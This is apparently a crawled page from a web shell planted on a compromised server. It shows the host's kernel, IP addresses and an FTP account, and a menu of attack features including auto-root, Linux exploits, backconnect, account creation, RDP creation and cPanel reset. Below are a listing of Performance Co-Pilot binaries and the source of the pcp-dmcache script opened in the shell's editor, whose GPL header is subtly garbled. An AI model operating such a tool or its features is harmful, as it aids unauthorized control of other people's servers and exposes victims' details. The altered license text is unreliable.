Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
pcp /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
discover
[ DIR ]
drwxr-xr-x
chkhelp
16.28
KB
-rwxr-xr-x
find-filter
11.86
KB
-rwxr-xr-x
install-sh
9.06
KB
-rwxr-xr-x
mkaf
2.82
KB
-rwxr-xr-x
newhelp
20.84
KB
-rwxr-xr-x
pcp-atop
300.56
KB
-rwxr-xr-x
pcp-atopsar
300.56
KB
-rwxr-xr-x
pcp-dmcache
7.13
KB
-rwxr-xr-x
pcp-dstat
70.37
KB
-rwxr-xr-x
pcp-free
9.78
KB
-rwxr-xr-x
pcp-htop
257.34
KB
-rwxr-xr-x
pcp-iostat
20.78
KB
-rwxr-xr-x
pcp-ipcs
6.82
KB
-rwxr-xr-x
pcp-lvmcache
7.13
KB
-rwxr-xr-x
pcp-mpstat
29.08
KB
-rwxr-xr-x
pcp-numastat
6.33
KB
-rwxr-xr-x
pcp-pidstat
49.64
KB
-rwxr-xr-x
pcp-python
925
B
-rwxr-xr-x
pcp-shping
3.47
KB
-rwxr-xr-x
pcp-ss
17.38
KB
-rwxr-xr-x
pcp-summary
11.21
KB
-rwxr-xr-x
pcp-tapestat
18.38
KB
-rwxr-xr-x
pcp-uptime
4.89
KB
-rwxr-xr-x
pcp-verify
7.72
KB
-rwxr-xr-x
pcp-vmstat
1.54
KB
-rwxr-xr-x
pmcd
119.19
KB
-rwxr-xr-x
pmcd_wait
12.77
KB
-rwxr-xr-x
pmconfig
12.91
KB
-rwxr-xr-x
pmcpp
24.88
KB
-rwxr-xr-x
pmfind_check
4.7
KB
-rwxr-xr-x
pmgetopt
21.68
KB
-rwxr-xr-x
pmhostname
12.23
KB
-rwxr-xr-x
pmie_check
21.05
KB
-rwxr-xr-x
pmie_daily
13.92
KB
-rwxr-xr-x
pmie_dump_stats
11.87
KB
-rwxr-xr-x
pmie_email
1.76
KB
-rwxr-xr-x
pmie_farm
896
B
-rwxr-xr-x
pmiestatus
11.83
KB
-rwxr-xr-x
pmlock
11.83
KB
-rwxr-xr-x
pmlogconf
54.48
KB
-rwxr-xr-x
pmlogextract
70.02
KB
-rwxr-xr-x
pmlogger
143.2
KB
-rwxr-xr-x
pmlogger_check
28.14
KB
-rwxr-xr-x
pmlogger_daily
43.11
KB
-rwxr-xr-x
pmlogger_farm
919
B
-rwxr-xr-x
pmlogger_merge
6.66
KB
-rwxr-xr-x
pmlogger_rewrite
8
KB
-rwxr-xr-x
pmlogreduce
33.19
KB
-rwxr-xr-x
pmlogrewrite
146.09
KB
-rwxr-xr-x
pmnewlog
810
B
-rwxr-xr-x
pmnsadd
2.89
KB
-rwxr-xr-x
pmnsdel
16.83
KB
-rwxr-xr-x
pmnsmerge
17.02
KB
-rwxr-xr-x
pmpause
12.37
KB
-rwxr-xr-x
pmpost
16.33
KB
-rwxr-xr-x
pmproxy
140.98
KB
-rwxr-xr-x
pmsignal
2.72
KB
-rwxr-xr-x
pmsleep
12.37
KB
-rwxr-xr-x
pmwtf
7.63
KB
-rwxr-xr-x
telnet-probe
11.84
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pcp-dmcache
#!/usr/bin/pmpython # # Copyright (C) 2014-2017 Red Hat. # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # DmCache Software Foundation; either version 2 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY # or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License # for more details. # # pylint: disable=bad-continuation,invalid-name,global-statement # pylint: disable=line-too-long,too-many-locals """ Display device mapper cache statistics for the system """ import sys from pcp import pmapi, pmcc if sys.version >= '3': long = int # python2 to python3 portability (no long() in python3) CACHE_METRICS = ['dmcache.cache.used', 'dmcache.cache.total', 'dmcache.metadata.used', 'dmcache.metadata.total', 'dmcache.read_hits', 'dmcache.read_misses', 'dmcache.write_hits', 'dmcache.write_misses', 'disk.dm.read', 'disk.dm.write'] COLUMN_HEADING = \ ' ---%used--- ---------reads--------- --------writes---------' SUBHEAD_IOPS = \ ' meta cache hit miss ops hit miss ops' SUBHEAD_RATIO = \ ' meta cache hit miss ratio hit miss ratio' RATIO = True # default to displaying cache hit ratios REPEAT = 10 # repeat heading after every N samples def option(opt, optarg, _): """ Perform setup for an individual command line option """ global RATIO global REPEAT if opt == 'R': REPEAT = int(optarg) elif opt == 'i': RATIO = False def cache_value(group, device, width, values): """ Lookup value for device instance, return it in a short string """ if device not in values: return '?'.rjust(width) result = group.contextCache.pmNumberStr(values[device]) return result.strip(' ').rjust(width) def cache_percent(device, width, used, total): """ From used and total values (dict), calculate 'percentage used' """ if device not in used or device not in total: return '?%'.rjust(width) numerator = float(used[device]) denominator = float(total[device]) if denominator == 0.0: return '0%'.rjust(width) value = 100.0 * numerator / denominator if value >= 100.0: return '100%'.rjust(width) return ('%3.1f%%' % value).rjust(width) def cache_dict(group, metric): """ Create an instance:value dictionary for the given metric """ values = group[metric].netConvValues if not values: return {} return dict(map(lambda x: (x[1], x[2]), values)) def max_lv_length(group): """ look at the observation group and return the max length of all the lvnames """ cache_used = cache_dict(group, 'dmcache.cache.used') if not cache_used: return 0 lv_names = cache_used.keys() return len(max(lv_names, key=len)) class DmCachePrinter(pmcc.MetricGroupPrinter): """ Report device mapper cache statistics """ def __init__(self, devices): """ Construct object - prepare for command line handling """ pmcc.MetricGroupPrinter.__init__(self) self.hostname = None self.devices = devices def report_values(self, group, width=12): """ Report values for one of more device mapper cache devices """ # Build several dictionaries, keyed on cache names, with the values cache_used = cache_dict(group, 'dmcache.cache.used') cache_total = cache_dict(group, 'dmcache.cache.total') meta_used = cache_dict(group, 'dmcache.metadata.used') meta_total = cache_dict(group, 'dmcache.metadata.total') read_hits = cache_dict(group, 'dmcache.read_hits') read_misses = cache_dict(group, 'dmcache.read_misses') read_ops = cache_dict(group, 'disk.dm.read') write_hits = cache_dict(group, 'dmcache.write_hits') write_misses = cache_dict(group, 'dmcache.write_misses') write_ops = cache_dict(group, 'disk.dm.write') devicelist = self.devices if not devicelist: devicelist = cache_used.keys() if devicelist: for name in sorted(devicelist): if RATIO: read_column = cache_percent(name, 7, read_hits, read_ops) write_column = cache_percent(name, 7, write_hits, write_ops) else: read_column = cache_value(group, name, 7, read_ops) write_column = cache_value(group, name, 7, write_ops) print('%s %s %s %s %s %s %s %s %s' % (name[:width], cache_percent(name, 5, meta_used, meta_total), cache_percent(name, 5, cache_used, cache_total), cache_value(group, name, 7, read_hits), cache_value(group, name, 7, read_misses), read_column, cache_value(group, name, 7, write_hits), cache_value(group, name, 7, write_misses), write_column)) else: print('No values available') def report(self, manager): """ Report driver routine - headings, sub-headings and values """ self.convert(manager) group = manager['dmcache'] max_lv = max_lv_length(group) padding = " "*max_lv if manager.counter % REPEAT == 0: if not self.hostname: self.hostname = group.contextCache.pmGetContextHostName() stamp = group.contextCache.pmCtime(long(group.timestamp)) title = '@ %s (host %s)' % (stamp.rstrip(), self.hostname) if RATIO: style = "%s%s" % (padding, SUBHEAD_RATIO) else: style = "%s%s" % (padding, SUBHEAD_IOPS) heading = ' device '.center(max_lv, '-') + COLUMN_HEADING print('%s\n%s\n%s' % (title, heading, style)) self.report_values(group, width=max_lv) if __name__ == '__main__': try: options = pmapi.pmOptions('iR:?') options.pmSetShortUsage('[options] [device ...]') options.pmSetOptionCallback(option) options.pmSetLongOptionHeader('Options') options.pmSetLongOption('repeat', 1, 'R', 'N', 'repeat the header after every N samples') options.pmSetLongOption('iops', 0, 'i', '', 'display IOPs instead of cache hit ratio') options.pmSetLongOptionVersion() options.pmSetLongOptionHelp() dmcache = pmcc.MetricGroupManager.builder(options, sys.argv) missing = dmcache.checkMissingMetrics(CACHE_METRICS) if missing is not None: sys.stderr.write('Error: not all required metrics are available\nMissing: %s\n' % (missing)) sys.exit(1) dmcache.printer = DmCachePrinter(options.pmGetOperands()) dmcache['dmcache'] = CACHE_METRICS dmcache.run() except pmapi.pmErr as error: print('%s: %s\n' % (error.progname(), error.message())) except pmapi.pmUsageErr as usage: usage.message() except KeyboardInterrupt: pass
Close